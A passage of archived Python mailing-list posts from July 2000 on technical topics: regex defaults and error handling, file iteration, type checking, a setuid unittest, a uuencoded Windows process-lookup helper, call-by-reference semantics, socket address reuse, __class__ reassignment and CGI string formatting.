References: <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com> <slrn8o74um.fjt.grey@teleute.rpglink.com>
Message-ID: <20000730023357.A3193@exeter.exeter.org>

Quoting Steve Lamb (grey at despair.rpglink.com):
> On Sun, 30 Jul 2000 02:22:31 +0200, Alex Martelli <alex at magenta.com> wrote:
> >And of course None can also be converted, it's just not converted
> >by a plain int(x).  But it just takes an int(x or 7) to fix that,
> >for example (if one wants None to be converted to 7...:-).
> 
>     It is my understand that in an int(None or 0) what is happening is that
> the None fails, the or kicks in and we're really int()ing an integer in the
> first place, not actually converting the None.

Perhaps Alex should have said "a variable containing None can also be 
converted [to an integer]", but the intent (solving your problem)
was clear.

You are correct that the actual None object is not converted -- the 'or'
is selecting the other value (7, in the example) if None occurs.

> >Losing accumulated logs, and/or logging false data, would be utter
> >disasters. 
> 
>     You're speaking in absolute terms on something which is best determined by
> the end user, not the language.  To me, for a lot of the logs I process, no,
> it isn't a disaster.  It isn't even a minor annoyance.  It is just a speck of
> dust on a rather large desk that I couldn't care less about.  Having the logs
> processing puke on me, or any other of dozens of applications I can think of,
> because of a inconsiquential burp in the data is the real annoyance.

In that case, would "inconsistent is better than consistent" be 
an accurate reflection of your criteria for a log processing language?

Actually that's not a fair generalization.  For your logs, clearly
minor errors in the data don't matter to you.  You've been shown
examples where minor errors mean a LOT, and you've also been shown
Python ways to ignore the kinds of errors your data generates.

It's *very* unreasonable to expect that *everyone* would want 
inconsistent data to slip through unnoticed, even if it is reasonable
for a particular problem domain.

> >bug is clearly the priority; if subtly-false data were being logged
> >instead, 
> 
>     Uhm, logs processing process logs for one of a variety of uses.  IE, the
> data has already been logged, how can it be falsely logged again?

Easy. As an example, suppose your program processes 400 MB worth
of http logs each day (not an uncommon task), but extracts and logs
only a fraction of that for long-term storage (daily logs are not deemed
worthy of permanent backups).

If weeks go by and you've silently missed a value because Someone Else
changed a title somewhere, who will wish he'd seen the error the
day it occured instead of a month later when there's no July data?

> >Why would you need to keep track of all things in the former
> >paragraph?  Just be explicit about what is to be done for each
> >of the cases it can be, and you're all set.
> 
>     Except now you need to do tons of conversion at different levels depending
> on what you do with the data.  You either type it up front and have it fail
> later, or type it later dozens of times.  Neither is appealing to me.

I think you're exagerrating the burden; Alex gave you examples (in another
msg) that show how to make a function that returns matches as integers.

> >Furthermore, I keep pointing out that, if you call the groups method
> >of the match object, what Python returns for non-matching groups IS
> >UP TO YOU: it will return the argument you pass to groups, None if
> >you choose to pass no argument.  So, *what* is supposed to be 'sad'?!
> 
>     I don't see where I can tell it to pass something other than None on a
> match.  The docs I read, (not here) state that it /will/ return None on a
> no-match, not that it /can/ and that you can override it.

I don't see it either (Alex?) in the library reference.  Personally
I thought both the 'int(x or 0)' approach and the function Alex suggested
were good ways to establish problem-specific default values, especially
since '0' isn't always an apprpriate default.

Karl Ulbrich



From ingo.adler at synacon.ch  Thu Jul 13 20:41:01 2000
From: ingo.adler at synacon.ch (Ingo Adler)
Date: Fri, 14 Jul 2000 01:41:01 +0100
Subject: Built-in exception class not found
Message-ID: <396E619D.5BD09DF2@synacon.ch>

I compiled Python 1.5.2 statically with CBuilder 5.0.

When I start my python program I get the error message:

Built-in exception class not found: EnvironmentError. Library mismatch?
Warning! Falling back to string-based exceptions

Why?

I've only installed 1.5.2. I've configured the PYTHONPATH to the
Pythonlibs.
When the program starts, it finds the exceptions.pyc.

Any suggestions?

Ingo Adler
-------------- next part --------------
A non-text attachment was scrubbed...
Name: ingo.adler.vcf
Type: text/x-vcard
Size: 338 bytes
Desc: Card for Ingo Adler
URL: <http://mail.python.org/pipermail/python-list/attachments/20000714/d15310d7/attachment.vcf>

From db3l at fitlinxx.com  Fri Jul 21 14:14:04 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 21 Jul 2000 14:14:04 -0400
Subject: iterating over lines in a file
References: <u1z0oeall.fsf@ctwd0143.fitlinxx.com> <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org> <8l9ul4$9fa6$1@nntp6.u.washington.edu>
Message-ID: <ulmyvz6z7.fsf@ctwd0143.fitlinxx.com>

Donn Cave <donn at u.washington.edu> writes:

> Quoth David Bolen <db3l at fitlinxx.com>:
(...)
> | And only fully process files less than 8K in size.  The call to
> | file.readlines(8192) returns the list of lines contained within the
> | first 8K of the file (approximately), and that's all the 'for' is
> | going to iterate over.  You have to repeatedly call file.readlines()
> | again to keep reading the file, which puts you pretty much back in the
> | original readline() mode, just with bigger chunks.
> 
> Sure, but it's a useful idiom where the expected file is under
> ca. 500 bytes in any sane case.  The upper limit keeps the potential
> insane case from wiping out the program.  (Numbers arbitrary.)
> Not an approach we would always want to take, but there could be
> a place for it.

Oh sure - it's good as a safety valve - I was just pointing out that
it didn't address the underlying question in the thread which was to
iterate over all the lines of a file, regardless of size.  Under the
conditions you note (small file, don't want to risk a large one
causing problems and don't mind ignoring the overflow) it's a
perfectly good idiom and safer than just a blind readlines().

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From paul at prescod.net.bbs  Mon Jul 17 01:20:02 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 05:20:02 GMT
Subject: Type checking in python?
Message-ID: <3bR0e2$j9i@openbazaar.net>

Matthew Cline wrote:
>
>   def my_func(foo, bar, quux):
>      if not isinstance(quux, Quux):
>         raise RuntimeError("param 'quux' must be of class 'Quux'")

Let me also point out that in many cases, this style of programming
would be frowned upon by serious Python programmers. For instance, if
you check that something is a string, your code will complain when it is
handed a Unicode string, even though it would probably work fine. If you
check that it is an open file, then your code probably will complain
about stringIO file-like objects, even though it would probably work
fine. If you check that it is an integer, your code will complain about
integers, even though ti would probably work fine.

In general, the Python philosophy is to "just try it" and see if it
works. Sometimes type checks are appropriate but if you do it on the
entry to every function, you are probably doing too much work and making
your own life (or someone else's) harder later on.
--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From gherman at darwin.in-berlin.de.bbs  Fri Jul 14 05:20:03 2000
From: gherman at darwin.in-berlin.de.bbs (gherman at darwin.in-berlin.de.bbs)
Date: 14 Jul 2000 09:20:03 GMT
Subject: Test writing volunteers needed
Message-ID: <3bOcS3$mTr@openbazaar.net>

"A.M. Kuchling" wrote:
>
> Skip Montanaro <skip at mojam.com> wrote:
> >I'm look for a few people to write some regression tests for the posix (and
> >windows or mac equivalents), os and sys modules.  Some of that functionality
>
> To start the ball rolling, here's a little test case for the set{re,e}{u,g}id
> functions that I added to the CVS version last night.

What about using the excellent Python unittest module
(pyunit.sourceforge.net) to accomplish this, like in the
code below? Note that I've not tested it on a Unix box and
suppose the calls to some get* functions look in lines
with trailing '# ??' do really look like shown...

Apart from these details, what unittest gives you is a
very simple and useful test framework for *automated* test-
ing where you specify your test cases *with expected out-
put* such that you can build entire test suites to be run
whenever you feel like you need a new short "confidence
kick" before you continue with new functionality. Ideally,
i.e. as an XP purist, you should write these tests *before*
writing the *real code*!

Dinu

--
Dinu C. Gherman
................................................................
"The only possible values [for quality] are 'excellent' and 'in-
sanely excellent', depending on whether lives are at stake or
not. Otherwise you don't enjoy your work, you don't work well,
and the project goes down the drain."
                    (Kent Beck, "Extreme Programming Explained")



import unittest


class SetXIDTestCase(unittest.TestCase):
    "Test if a single PDF Number is read and written correctly."
 
    def testSetreuidSetregid(self):
        "Simple test case for os.setreuid(), os.setregid()"
 
        import os, pwd

        uid = os.getuid()
        msg = "This test must be run as root; skipping"
        assert uid == 0, msg

        nobody_uid, nobody_gid = pwd.getpwnam('nobody')[2:4]

        # Set real uid and gid to root, effective uid and gid to nobody
        os.setreuid( 0, nobody_uid )
        os.setregid( 0, nobody_gid )

        # Change effective ID to nobody
        os.seteuid( nobody_uid )

        # Expect these to fail
        try:
            os.setuid( 1 )
        except os.error:
            pass
        else:
            msg = 'Should have been unable to change UID to 1'
            assert 1 == 0, msg

        try:
            os.setgid( 1 )
        except os.error:
            pass
        else:
            msg = 'Should have been unable to change GID to 1'
            assert 1 == 0, msg

        # These should succeed, since we're just swapping the IDs
        os.setreuid( nobody_uid, 0 )
        msg = 'Unable to swap IDs.'
        assert os.getreuid( nobody_uid ) == 0, msg # ??

        os.setregid( nobody_gid, 0 )
        msg = 'Unable to swap group IDs.'
        assert os.getregid( nobody_uid ) == 0, msg # ??

        # These should now succeed, since we're now back to root
privilege
        os.setgid( 1 )
        msg = 'Unable to reset group ID.'
        assert os.getgid() == 1, msg

        os.setuid( 1 )
        msg = 'Unable to reset user ID.'
        assert os.getuid() == 1, msg


def makeSuite():
    suite = unittest.TestSuite()
    suite.addTest(SetXIDTestCase('testSetreuidSetregid'))
    return suite


if __name__ == "__main__":
    unittest.TextTestRunner().run(makeSuite())


From p.knight at ktgroup.co.uk  Thu Jul  6 04:54:17 2000
From: p.knight at ktgroup.co.uk (Pat Knight)
Date: Thu, 06 Jul 2000 08:54:17 GMT
Subject: PROCESS QUESTION - t.py [01/01]
References: <3961D1D2.9C66B425@sicon.net>
Message-ID: <8k1hfq$1v8$1@icarus.knowledgegroup.co.uk>

In article <3961D1D2.9C66B425 at sicon.net>, sergio <smoriano at sicon.net> wrote:
>  Hi all, I'm working in NT SERVER 4.0
>
>How can i search the id of a process running, searching it by the name?
>

You need to get Mark Hammond's Pythonwin package (version 129 if you're 
running Python 1.52).

Use the win32pdh package to enumerate the processes on a system and then 
process the returned list. Attached is a function that doesn't quite do what 
you want. It tests to see if a process with a given id (and optionally name) 
is running. It should be easy to modify to get an id for a name.

Cheers,
        Pat

begin 644 t.py
M:6UP;W)T('=I;C,R<&1H#0II;7!O<G0@<WES#0H-"G1R>3H-"B`@("`C(%9E
M<G-I;VYS('!R:6]R('1O(#$R.2!D;VXG="!H879E($5N=6U/8FIE8W1S#0H@
M("`@=VEN,S)P9&@N16YU;4]B:F5C=',-"F5X8V5P=#H-"B`@("!P<FEN="`B
M=VEN,S)P9&@@;6]D=6QE(&1O97-N)W0@:&%V92!T:&4 at 16YU;4]B:F5C=',@
M05!)(@T*("`@('-Y<RYE>&ET*#$I#0H-"F1E9B!C:&5C:U]F;W)?<')O8V5S
M<R`H<&ED+"!E>&5C=71A8FQE(#T@)R<I. at T*("`@("<G)PT*("`@(%-E92!I
M9B!T:&4@<')O8V5S<R!I9&5N=&EF:65D(&)Y(")P:60B(&ES(')U;FYI;F<N
M($EF(&ET(&ES+"!O<'1I;VYA;&QY#0H@("`@=&5S="!T:&4 at 97AE8W5T86)L
M92!N86UE(&%S<V]C:6%T960@=VET:"!T:&4@<&ED('1O('-E92!I9B!I="!I
M<R!T:&4-"B`@("!S86UE(&%S(")E>&5C=71A8FQE(BX@(F5X96-U=&%B;&4B
M(&-A;B!B92!A('-T<FEN9R!O<B!S97%U96YC92!O9 at T*("`@('-T<FEN9W,N
M($EN('1H92!L871T97(@8V%S92P@=V4@=&5S="!I9B!T:&4@(G!I9"(@<')O
M8V5S<R!H87, at 86YY(&]F#0H@("`@=&AE(&YA;65S(&EN('1H92!L:7-T+B!.
M;W1E('1H870@=V4 at 8V%N;F]T(&%L=V%Y<R!K;F]W(&EF("Y%6$4@:7,-"B`@
M("!O;B!T:&4 at 96YD(&]F('1H92!N86UE<R!W92!P<F]C97-S+"!S;R!W92!A
M;'=A>7,@=')A;G-F;W)M(&%L;`T*("`@(&5X96-U=&%B;&4@;F%M97,@=&\@
M=7!P97)C87-E('=I=&@@82`N15A%(&]N('1H92!E;F0 at 8F5F;W)E#0H@("`@
M8V]M<&%R:6YG+ at T*("`@("<G)PT*("`@(", at 4$1((&1O97-N)W0@<V5E;2!T
M;R!U<&1A=&4@=&AE(&QI<W0@;V8@<')O8V5S<V5S('5N;&5S<R!W92!R969R
M97-H#0H@("`@(R!T:&4 at 8V]M<&QE=&4@;&ES="!O9B!P97)F;W)M86YC92!O
M8FIE8W1S(2$-"B`@("!W:6XS,G!D:"Y%;G5M3V)J96-T<R`H3F]N92P at 3F]N
M92P@=VEN,S)P9&@N4$521E]$151!24Q?5TE:05)$+#$I#0H@("`@<')O8U]L
M:7-T(#T@=VEN,S)P9&@N16YU;4]B:F5C=$ET96US("@-"B`@("`@("`@3F]N
M92P at 3F]N92P@(E!R;V-E<W,B+"!W:6XS,G!D:"Y015)&7T1%5$%)3%]725I!
M4D0L(#`I6S%=#0H@("`@8VQI<W0@/2!;70T*("`@(&EN<W1A;F-E<R`](%M=
M#0H@("`@:68 at 97AE8W5T86)L92!A;F0@:7-I;G-T86YC92AE>&5C=71A8FQE
M+'1Y<&5S+E-T<FEN9U1Y<&4I. at T*("`@("`@("!E>&5C=71A8FQE(#T@*&5X
M96-U=&%B;&4L*0T*#0H@("`@(R!)9B!T:&5R92!A<F4@;75L=&EP;&4@:6YS
M=&%N8V5S(&]F(&$@<')O8V5S<R!R=6YN:6YG+"!W92!N965D#0H@("`@(R!T
M;R!D:7-T:6YG=6ES:"!T:&5M('5S:6YG(&-O=6YT97(@<&%T:"!N86UE<R!O
M9B!T:&4 at 9F]R;0T*("`@(", at 7%Q0<F]C97-S*#QN86UE/B,\;G5M8F5R/BDN
M(%1H92!F;VQL;W=I;F<@;F5S=&5D(&QO;W!S(&-H96-K#0H@("`@(R!T:&4@
M<&]S<VEB;'D at 9'5P;&EC871E9"!I;G-T86YC97,@<F5T=7)N960 at 8GD@16YU
M;4]B:F5C=$ET96US#0H@("`@(R!A;F0@='5R;B!T:&5M(&EN=&\@=6YI<75E
M('!R;V-E<W,@:6YS=&%N8V4@;F%M97,N#0H@("`@9F]R('`@:6X@<')O8U]L
M:7-T. at T*("`@("`@("!I(#T@,`T*("`@("`@("!W:&EL92`Q. at T*("`@("`@
M("`@("`@<&YA;64@/2`B)7,C)60B("4@*'`L:2D-"B`@("`@("`@("`@(&EF
M('!N86UE(&EN(&EN<W1A;F-E<SH-"B`@("`@("`@("`@("`@("!I(#T@:2`K
M(#$-"B`@("`@("`@("`@(&5L<V4Z#0H@("`@("`@("`@("`@("`@:6YS=&%N
M8V5S+F%P<&5N9"AP;F%M92D-"B`@("`@("`@("`@("`@("!B<F5A:PT*#0H@
M("`@<75E<GD@/2!W:6XS,G!D:"Y/<&5N475E<GDH*0T*("`@('1R>3H-"B`@
M("`@("`@9F]R('`@:6X@:6YS=&%N8V5S. at T*("`@("`@("`@("`@8V]U;G1E
M<E]P871H(#T@(EQ<4')O8V5S<R at E<RE<7$E$(%!R;V-E<W,B("4@<`T*("`@
M("`@("`@("`@8VQI<W0N87!P96YD*"AP+'=I;C,R<&1H+D%D9$-O=6YT97(H
M<75E<GDL(&-O=6YT97)?<&%T:"DI*0T*("`@("`@("!W:6XS,G!D:"Y#;VQL
M96-T475E<GE$871A("AQ=65R>2D-"B`@("`@("`@9F]R('`L8R!I;B!C;&ES
M=#H-"B`@("`@("`@("`@('1R>3H-"B`@("`@("`@("`@("`@("!O=&AE<B`]
M('=I;C,R<&1H+D=E=$9O<FUA='1E9$-O=6YT97)686QU92 at -"B`@("`@("`@
M("`@("`@("`@("`@8RQW:6XS,G!D:"Y01$A?1DU47TQ/3D<I#0H@("`@("`@
M("`@("!E>&-E<'0Z("`@("`@("`@("`@("`@("`@("`@(R!I9B!A('!R;V-E
M<W,@:&%S(&1I<V%P<&5A<F5D#0H@("`@("`@("`@("`@("`@<')I;G0@(D5X
M8V5P=&EO;B!F;W(@)7,B("4@<`T*("`@("`@("`@("`@("`@(&-O;G1I;G5E
M("`@("`@("`@("`@("`@(",@=V4 at 9V5T(&%N(&5X8V5P=&EO;@T*#0H@("`@
M("`@("`@("!O=&AE<B`](&]T:&5R6S%=("`@("`@("`@("`@(R!E>'1R86-T
M('1H92!P<F]C97-S(&ED#0H@("`@("`@("`@("!I9B!P:60@/3T@;W1H97(Z
M#0H@("`@("`@("`@("`@("`@:68@;F]T(&5X96-U=&%B;&4Z#0H@("`@("`@
M("`@("`@("`@("`@(')E='5R;B`Q("`@("`@("`@("`@(R`B<&ED(B!I<R!R
M=6YN:6YG#0H@("`@("`@("`@("`@("`@96QS93H-"B`@("`@("`@("`@("`@
M("`@("`@<&ED7VYA;64@/2!S=')I;F<N=7!P97(H<W1R:6YG+G-P;&ET*'`L
M)R,G+#$I6S!=*0T*("`@("`@("`@("`@("`@("`@("!I9B!P:61?;F%M92!;
M+30Z72`A/2`G+D5812<Z#0H@("`@("`@("`@("`@("`@("`@("`@("!P:61?
M;F%M92`]('!I9%]N86UE("L@)RY%6$4G#0H@("`@("`@("`@("`@("`@("`@
M(')E='5R;B!P:61?;F%M92!I;B!E>&5C=71A8FQE#0H@("`@("`@(')E='5R
M;B`P#0H@("`@9FEN86QL>3H-"B`@("`@("`@=VEN,S)P9&@N0VQO<V51=65R
+>2`H<75E<GDI#0H`
`
end


From robin at jessikat.fsnet.co.uk  Wed Jul 19 10:23:03 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 19 Jul 2000 15:23:03 +0100
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
 <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net>
Message-ID: <zfBdAQAHnbd5Ewji@jessikat.fsnet.co.uk>

In article <397517C6.93911CF0 at prescod.net>, Paul Prescod
<paul at prescod.net> writes
>Robin Becker wrote:
>> 
>> I suppose there must be something desperately wrong with using the
>> __mul__ for sequences to indicate the set pairwise product. I would
>> certainly be for
>> 
>> x,y in A*B rather than x,y in zip(A,B) or marry(A,B), but since * is the
>> obvious operator it must be that someone else has reserved it.
>
>We aren't looking for the set pairwise product (which I am taking as a
>synonym for cross-product). We're looking just to pair up elements.
>
no you need the pairwise concatenate product of the sets considered as
vectors mumble handwave handwave
-- 
Robin Becker


From m.faassen at vet.uu.nl  Mon Jul 31 06:00:50 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 10:00:50 GMT
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com> <blk8e3npeh.fsf@bitdiddle.concentric.net>
Message-ID: <8m3ioi$du4$2@newshost.accu.uu.nl>

Jeremy Hylton <jeremy at beopen.com> wrote:
> Here are two other examples that may illuminate Python's parameter
> passing mechanism.

> The C++ Programming Language (Stroustrup), 3rd ed:

> The section of references (5.5, p. 97-100) has a simple example of
> parameter passing with references.

>     void increment(int& aa) { aa++; }

>     void f()
>     {
>         int x = 1;
>         increment(x); // x = 2
>     }

> There is clearly no feature in Python to accomplish the same thing.
> The call-by-reference allows the variable aa in increment to serve as
> an alternate name for x in f.  A change to aa results in a change to
> x.

I think this example is misleading, as you used an integer, which 
is immutable in Python. For mutable variables you can accomplish much
the same thing; the difference with this C++ example is that the underlying
value can be changed directly (integers are mutable in C++!).

Another difference is that in Python, *all* variables behave as if they
were C++ 'references' (or C pointers with implicit dereferencing).

In the C++ example there is a reference-taking going on as soon as the
increment() function is called; in Python no reference needs to be taken
as it's already a reference, always.

> "A History of Clu" (Liskov) in History of Programming Languages
> (Bergin & Gibson, eds.), p. 483-4:
[snip]

> Given this extend description of CLU parameter passing, I believe it
> would be fair to say that Python is also a call-by-object language.

Yes, the description seems near-identical to the way Python works. 

I think the confusion arises in the 'call/pass by' part of the expression
'call/pass by reference'. 'call by reference' at least for many seems
to imply that a reference is taken as soon as the call happens
(as in the C++ example, for instance, and I believe also in Perl from
what I've seen). In Python, this never happens; everything is a reference
(to an object) already, so the references are simply passed along.

So you could say that Python has reference semantics, and that references
are the things that always are used and passed. But 'call by reference'
definitely seems to carry unwanted connotations (the taking of a reference),
and 'pass by reference' seems to have this trouble as well (though I'd
say less so). Even so, references are the things that are passed.

If the 'call-by-object' terminology is standard, then I'd agree Python
is call by object. But that doesn't mean talking about references isn't
useful; it would be in CLU too I presume from this description.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From braun32 at ibm.net  Sun Jul 23 06:18:51 2000
From: braun32 at ibm.net (Stefan Braun)
Date: Sun, 23 Jul 2000 12:18:51 +0200
Subject: Graphs - I need more graphs ( Simulation development )
References: <397a5658.88821067@news.online.no>
Message-ID: <397AC68B.A07CAB3@ibm.net>

Thomas,
   maybe this package is useful for you:

http://www.zpr.uni-koeln.de/~gato

Stefan


Thomas Weholt wrote:
> 
> like that. I know I`m probably the problem here, but if anybody has
> any input on this it would be great, if just a simple code example on
> graphs and how the work. :->


From jkraska1 at san.rr.com  Sun Jul 30 14:03:56 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 30 Jul 2000 18:03:56 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com>
Message-ID: <39846ECC.DF5FE175@san.rr.com>

> >This is a conceptualization issue, and I suspect to a degree,
> >false. If "x" is merely a label, one can imagine x labeling
> >3 or x labelling red quite easily. Your analogy works because
> >you carefully framed it, but there's nothing at all to say that
> >your framing of it was right.
> >
> >To the contrary; while I can't prove it, I do believe it's wrong.
> 
> Nobody expects a proof, but a just-as-carefully-framed
> counter-analogy would be a good start...

I don't know why I'd need a carefully framed analogy at all.
The labelling concept speaks for itself, and in fact is the
way that some people teach python. It seems to be quite
intuitive.

C/


From grey at despair.rpglink.com  Sat Jul 29 18:53:04 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:53:04 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com>
Message-ID: <slrn8o6nub.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 11:13:48 +0200, Alex Martelli <alex at magenta.com> wrote:
>Let's take your case, that of parsing and interpreting
>input strings of the form 'iDj[+k]' as found in role
>playing games ('roll i j-sided dice and add k').  Say
>that you now also need to support GURPS, which only ever
>uses six-sided dice, so the j is often omitted *and needs
>to default to SIX*, NOT to zero, when it is.

    GURPS, as well as other games, would be in different classes with the
class defining defaults for the dice.

>As the 'behaving oddly' will typically produce irreversible alterations
>of a precious persistent database

    Only if you're typically working with persistent databases.

>while the crash can at least be assumed to leave the database intact, the
>choice is anything but easy.  Would you rather die suddenly and painlessly,
>but with no chance of making a last will and testament, or slowly in
>excruciating pain, but with a last chance to put your worldly affairs in
>order?  What a heck of a choice to have to make!

    Personally, if my email client died because of some uncaught exception
versus me being able to close out my message beacuse of some bug in a display
routine, I'd rather be able to close out and save my 20k message than have to
retype it.  There is more to programs than databases.

>Fortunately, it doesn't have to be made: wrapping the top-level entries
>in a try/except is so TRIVIALLY easy, that there is really NO excuse
>for any program not doing so.  

    Great, and then we're out of some other common practices.  CNTL-C, for
example.  :P

>but that does not stop ME from having a last will registered, nor
>from wrapping my programs in try/except...:-).

    Just out of curiousity, how do you get back down into the loop if it is,
say, 12 deep?  Does Python hit the handler, do its thing, drop back down?

>Hey, you just *SAID* there could be a None, so you had NOT made
>sure at all that they did contain numbers!  None is NOT a number.
>The empty sequence is not a number.  You're contradicting yourself!

    No, I made sure there was a number in there, Python is the one that
decided to drop a None in.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From kpmurphy at my-deja.com  Fri Jul 21 10:45:13 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Fri, 21 Jul 2000 14:45:13 GMT
Subject: closing a socket
References: <8l72lp$mah$1@nnrp1.deja.com> <jt8zuw7pqj.fsf@wazor.biostat.wisc.edu>
Message-ID: <8l9nll$e2f$1@nnrp1.deja.com>

william and co,

	so what does that line do?  does it force a socket connection closed or
are you able to do that?  here's the problem.  the server goes down, and
it closes all of its connections, but a client is still running.  when
the server tries to restart, it can't because the socket is in use.
does that magic line below fix this?  thanks!

-->keith

In article <jt8zuw7pqj.fsf at wazor.biostat.wisc.edu>,
  William Annis <annis at biostat.wisc.edu> wrote:
>
> Keith Murphy <kpmurphy at my-deja.com> writes:
>
> > is closing sockets tricky? or am i doing something wrong...
shouldn't
> > this work?
>
>         There is one small thing you need, something every sockets
> beginner misses at first.  I know I did...
>
> > s = socket(AF_INET, SOCK_STREAM)
>
>         You need the set the 'reuse address' option:
>
>         s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
>
> > however, i get the following error if i try and run it a second
time:
> >
> > socket.error: (125, 'Address already in use')
>
> --
> William Annis - System Administrator - Biomedical Computing Group
> annis at biostat.wisc.edu                       PGP ID:1024/FBF64031
> Mi parolas Esperanton - La Internacian Lingvon  www.esperanto.org
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at knowledgetrack.com  Wed Jul 12 16:55:17 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Wed, 12 Jul 2000 20:55:17 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <396CB0D3.8F7BC8E5@prescod.net>
Message-ID: <slrn8mpn08.17c.hzhu@rocket.knowledgetrack.com>

On Wed, 12 Jul 2000 12:54:27 -0500, Paul Prescod <paul at prescod.net> wrote:
>Richard Tobin wrote:
>> 
>> Is it legal (it seems to work) to change the class of an object by
>> assigning to its __class__ attribute?  In particular for the case where
>> the new class is a subclass of the old.
>
>It language reference doesn't say. I think you're on your own but I
>wouldn't expect it to break soon. I also wouldn't expect it to work in
>JPython or maybe even Zope.
>

I guess the interesting question is: If __class__ is changed, is there any
trace of the older class left?  If it works in the module it is used, will
it break when it's imported by other modules?

I also find I need to do this a lot of time.  For example, when you read
something from a file, you want to return an object of a specific class
based on the content.  The easiest way to do it appears to be

class General:
   __init__(self, data):
       self.data = data
       if data is something:
           self.__class__ = Special1
       else:
           self.__class__ = Special2
	   
class Special1(General): pass

class Special2(General): pass

Huaiyu

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From see at message.body  Thu Jul 27 01:08:01 2000
From: see at message.body (Sam Penrose)
Date: Wed, 26 Jul 2000 22:08:01 -0700
Subject: Variables in strings..
References: <8lh75e+tjtl@eGroups.com> <119330503709.20000724135021@buz.ch>
Message-ID: <see-EA76AC.22080126072000@news.dnai.com>

In article <119330503709.20000724135021 at buz.ch>, Gabriel Ambuehl 
<gabriel_ambuehl at buz.ch> wrote:

> Hello Steve,
> Monday, July 24, 2000, 12:52:30 PM, you wrote:
> 
> >   print "Hello %s" % names[1]
> > to the eyes of anyone but a Perl afficionado.
> 
> Perhaps. But in real world (tm) CGI scripts, one needs more than just
> one variable in there. I've got Perl scripts who insert aroun 40
> variables (including array slices) during one print <<"EOF"
> instruction. I could live with the "%(myvar)" % vars() syntax if there
> would be a possibility to reference to lists and dictionary entries as
> well. Without it, it's a real pain to quickly write CGI scripts.
> Hell,
> content='<tr> <td> <a href="http://'+ pair[0] + '">' + pair[0]+ '</a> 
> </td> <td>' + pair[1] + '</td><td><a href="' + PathToScript
> etc is nothing I can consider readably. (though pair1=pair[1]
> and pair2=pair[2] would do the job but that's not really what I'd
> consider elegant...)
> 
> 
> 
> 
> 
> 
> Best regards,
>  Gabriel
> 
> 
> 

I've been doing this for about a year now, and I have to agree that 
Python string substitution syntax dominates the CGI-based systems I 
write. Some observations/habits, in no particular order and with no 
guarantee of non-obviousness.

1) It's all about dictionaries, as you noticed. Fortunately, 
dictionaries are also generally the handiest way to move data between 
HTML and databases. I tend to use tuples in situations like the example 
above, when the HTML string is short and in my script; entire pages are 
always read in from a file and coded for dictionaries.

2) Rather than assigning in that detail to a string or using vars(), 
assign to an intermediate dictionary. Your functions start to look like:
def foo():
   dict = {}
   html = CONSTANT # or open('template').read()
   for variable in otherDict.keys():
      # add to dict according to criteria
   return html % dict

3) It's helpful to create two subclasses of UserDict: one I call 
